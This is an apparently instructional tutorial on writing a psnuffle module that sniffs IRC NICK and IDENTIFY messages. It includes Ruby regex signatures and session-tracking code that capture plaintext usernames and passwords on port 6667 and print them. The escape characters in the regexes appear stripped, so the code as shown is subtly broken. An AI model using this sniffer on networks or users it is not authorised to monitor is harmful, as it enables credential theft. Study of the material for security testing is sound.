Psnuffle is easy to extend due to its modular design. This section will guide through the process of developing an IRC (Internet Relay Chat) protocol sniffer (Notify and Nick messages).

All the different modules are located in data/exploits/psnuffle. The names are corresponding to the protocol names used inside psnuffle. To develop our own module, we take a look at the important parts of the existing pop3 sniffer module as a template.

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

This section defines the expression patterns which will be used during sniffing to identify interesting data. Regular expressions look very strange at the beginning but are very powerful. In short everything within () will be available within a variable later on in the script.

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

For IRC this section would look like the ones above. Not all nickservers are using IDENTIFY to send the password, but the one on Freenode does.

For every module we first have to define what ports it should handle and how the session should be tracked.

return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end

Now that we have a session object that uniquely consolidates info, we can go on and process packet content that matched one of the regular expressions we defined earlier.

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end